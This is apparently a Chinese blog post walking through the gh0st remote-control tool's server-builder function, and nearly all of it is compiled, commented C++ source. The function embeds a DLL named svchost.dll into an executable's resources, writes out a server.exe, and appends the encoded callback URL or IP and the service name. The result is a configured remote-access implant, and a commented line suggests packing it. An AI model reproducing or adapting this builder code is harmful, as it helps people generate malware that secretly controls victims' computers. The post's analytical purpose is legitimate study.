gh0st源码分析之服务端生成
来源:互联网 发布:mac安装器遇到一个错误 编辑:程序博客网 时间:2024/06/04 22:09
vs2008编译通过,分离了exe和dll,代码如下
001
void
CBuildView::OnBuild()
002
{
003
// TODO: Add your control notification handler code here
004
///获取上线数据
005
UpdateData(
true
);
006
if
(m_ServiceDisplayName.IsEmpty() || m_ServiceDescription.IsEmpty())
///如果没有填写服务名称和服务描述的话就返回
007
{
008
AfxMessageBox(
"请完整填写服务显示名称和描述 -:("
);
009
return
;
010
}
011
CString strAddress;
///用于保存上线数据
012
013
// 保存配置
014
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString(
"Build"
,
"DisplayName"
, m_ServiceDisplayName);
///把配置写入ini文件中
015
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString(
"Build"
,
"Description"
, m_ServiceDescription);
016
((CGh0stApp *)AfxGetApp())->m_IniFile.SetInt(
"Build"
,
"enablehttp"
, m_enable_http);
017
if
(m_enable_http)
///如果开启了http上线
018
{
019
CString str;
020
GetDlgItemText(IDC_URL, str);
///获取上线url
021
((CGh0stApp *)AfxGetApp())->m_IniFile.SetString(
"Build"
,
"httpurl"
, str);
///写入ini配置
022
str.MakeLower();
///转成小写
023
strAddress = MyEncode(str.GetBuffer(0));
///加密上线url
024
}
025
else
///ip上线
026
{
027
GetDlgItemText(IDC_DNS_STRING, strAddress);
///获取加密后的上线字串
028
if
(strAddress.Find(
"AAAA"
) == -1)
///如果找不到AAAA,说明上线配置有问题
029
{
030
AfxMessageBox(
"域名上线字串格式出错 -:("
);
031
return
;
032
}
033
strAddress.Replace(
"AAAA"
,
""
);
///替换加密字串的前四个字为AAAA(本来就是AAAA -_-b)
034
}
035
036
CString strServiceConfig;
///存放服务名称
037
///用|来分割服务名称和服务描述
038
strServiceConfig.Format(
"%s|%s"
, MyEncode(m_ServiceDisplayName.GetBuffer(0)),
039
MyEncode(m_ServiceDescription.GetBuffer(0)));
040
041
//==============exe和dll分离的代码=======================
042
char
Path[MAX_PATH];
///gh0st所在完整路径
043
char
ExePath[MAX_PATH];
///存放install.dat的完整路径
044
char
DllPath[MAX_PATH];
///svchost.dll的完整地址
045
char
BakPath[MAX_PATH];
///中间文件地址
046
char
Wrong[MAX_PATH];
///用于显示exe不存在的错误提示
047
char
Wrong1[MAX_PATH];
///用于显示dll不存在的错误提示
048
GetModuleFileName(NULL, Path,
sizeof
(Path));
//获取程序自身完整路径名称,即Gh0st.exe的路径
049
PathRemoveFileSpec(Path);
///去除文件名得到文件夹路径,不包括'\'
050
///////////////////////////其实前面的和安全吧做的那个分离教程一样..就是这里之后..重新把DAT里的DLL分离出来了.
051
wsprintf(ExePath,
"%s%s"
,Path,
"\\update\\install.dat"
);
052
wsprintf(DllPath,
"%s%s"
,Path,
"\\update\\svchost.dll"
);
053
wsprintf(BakPath,
"%s%s"
,Path,
"\\update\\Cache.bak"
);
054
wsprintf(Wrong,
"%s%s%s%s"
,
"\""
,ExePath,
"\""
,
" 文件不存在!"
);
055
wsprintf(Wrong1,
"%s%s%s%s"
,
"\""
,DllPath,
"\""
,
" 文件不存在!"
);
056
057
///复制一份install.dat到cache.bak
058
if
(!CopyFile(ExePath,BakPath,FALSE))
//找不到install.dat文件
059
{
060
MessageBox(Wrong,
"提示"
);
061
return
;
062
}
063
064
HANDLE
hFile;
065
hFile = CreateFile(DllPath, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
066
if
(hFile == INVALID_HANDLE_VALUE)
//找不到svchost.dll文件
067
{
068
DeleteFile(BakPath);
069
MessageBox(Wrong1,
"提示"
);
070
return
;
071
}
072
//////////////////////////////////
073
074
///保存文件对话框
075
CFileDialog dlg(FALSE,
"exe"
,
"server.exe"
, OFN_OVERWRITEPROMPT,
"可执行文件|*.exe"
, NULL);
076
if
(dlg.DoModal () != IDOK)
077
{
078
DeleteFile(BakPath);
///如果选择取消的话要删除中间文件
079
return
;
080
}
081
082
//==================code for divition====================
083
DWORD
nSizeOfSrcFile = GetFileSize( hFile, &nSizeOfSrcFile );
///得到dll文件的大小
084
char
*szSrcFileBuf =
new
char
[ nSizeOfSrcFile ];
///分配内存存放dll文件
085
ReadFile( hFile, szSrcFileBuf, nSizeOfSrcFile, &nSizeOfSrcFile, NULL);
///把dll文件拷贝到内存
086
087
HANDLE
hUpdate;
088
BOOL
ret;
089
///更新cache.bak中的资源,false表示如果存在就不覆盖了,返回资源句柄
090
hUpdate = BeginUpdateResource(BakPath,
false
);
091
///插入dll资源,资源类型为BIN,名称为dll
092
ret = UpdateResource(hUpdate,
"BIN"
,
"DLL"
, 0, szSrcFileBuf, nSizeOfSrcFile);
093
/*
094
if (!ret) ///如果失败
095
{
096
CloseHandle(hFile); ///关闭dll句柄,下面有,这不多余了么。。。网上的代码果然不可靠。。。
097
}
098
*/
099
CloseHandle(hFile);
///关闭dll句柄
100
EndUpdateResource( hUpdate,
false
);
101
delete
[]szSrcFileBuf;
///释放内存
102
///CloseHandle(hFile); ///又关闭一次?!疯了吧?!
103
CopyFile(BakPath,dlg.GetPathName(),FALSE);
///把中间文件cache.bak复制成我们的服务端
104
DeleteFile(BakPath);
///删除中间件
105
/////////////////////////////////////////////////////
106
107
/*
108
//old code to build server.exe
109
///这是原版不分离exe和dll的代码,由客户端分离出服务端
110
HINSTANCE hInstance;
111
HRSRC hResInfo;
112
DWORD dwResLen; ///服务端资源长度
113
HGLOBAL hResData; ///服务端资源数据
114
LPBYTE lpData;
115
hInstance = AfxGetApp()->m_hInstance; ///获取当前实例
116
hResInfo = FindResource(hInstance, (LPCTSTR)IDR_BSS, (LPCTSTR)"BSS"); ///找到服务端资源
117
dwResLen = SizeofResource(hInstance, hResInfo); ///获取服务端长度
118
hResData = LoadResource(hInstance, hResInfo); ///分离出服务端数据
119
lpData = (LPBYTE)LockResource(hResData); ///锁定资源,返回资源首地址指针
120
*/
121
122
///下面开始写入上线数据
123
CFile file;
///文件句柄
124
///if(file.Open (dlg.GetPathName(), CFile::modeCreate | CFile::modeWrite)) ///新建服务端文件
125
if
(file.Open (dlg.GetPathName(), CFile::modeWrite))
///打开服务端文件
126
{
127
try
128
{
129
///file.Write(lpData, dwResLen); ///写入服务端数据
130
file.Seek(0,CFile::end);
//把文件指针指向文件末尾
131
// 写入6个'C',是服务的名称和描述
132
file.Write(
"CCCCCC"
, 6);
///用CCCCCC标志数据开始
133
file.Write(strServiceConfig, strServiceConfig.GetLength() + 1);
///写入服务名称和服务描述加密数据
134
// 写入6个'A',安装时查找
135
file.Write(
"AAAAAA"
, 6);
///写入AAAAAA标志之后为上线数据
136
file.Write(strAddress, strAddress.GetLength() + 1);
///写入加密后的上线数据
137
file.Close();
///关闭文件
138
///AfxMessageBox("文件保存成功,请用加壳软件进行压缩 -:)");
139
char
ShowText[200];
140
wsprintf(ShowText,
"%s%s"
,
"服务端已生成到:"
,dlg.GetPathName());
///显示提示信息
141
MessageBox(ShowText,
"提示"
,MB_ICONEXCLAMATION | MB_OK);
142
}
143
catch
(...)
144
{
145
MessageBox(
"文件保存失败,请检查"
,
"提示"
,MB_OK|MB_ICONSTOP);
///出错
146
}
147
}
148
///FreeResource(hResData); ///释放资源
149
}
- gh0st源码分析之服务端生成
- gh0st源码分析之服务端生成
- gh0st源码分析-gh0st_1
- gh0st 远程桌面控制源码分析
- gh0st源码分析-install classes
- gh0st源码分析:屏幕监控
- netty源码分析之服务端
- NB5.5源代码分析之服务端生成
- elasticsearch源码分析之服务端(四)
- 【TeamTalk】源码分析之服务端描述
- elasticsearch源码分析之服务端(四)
- netty源码分析之服务端启动全
- netty源码分析之-服务端启动核心源码分析(5)
- Gh0st源码学习(三)生成DLL和DAT文件
- gh0st源码分析与远控的编写(一)
- gh0st源码分析与远控的编写(二)
- gh0st源码分析与远控的编写(三)
- gh0st源码分析与远控的编写(四)
- gh0st 远程桌面控制源码分析
- asp.net 汉字转换成拼音
- Win7下安装配置Activesync的方法
- LVS环境搭建入门
- JDBC批量操作
- gh0st源码分析之服务端生成
- strlen
- 软件设计原则
- 通过jQuery实现Ajax局部刷新
- svn回到历史的某个版本
- Active Directory的java访问
- js获取鼠标点击位置
- Usaco 1.3.3 Calf Flac
- [Android实例] android 检测网络是否存在 [复制链接]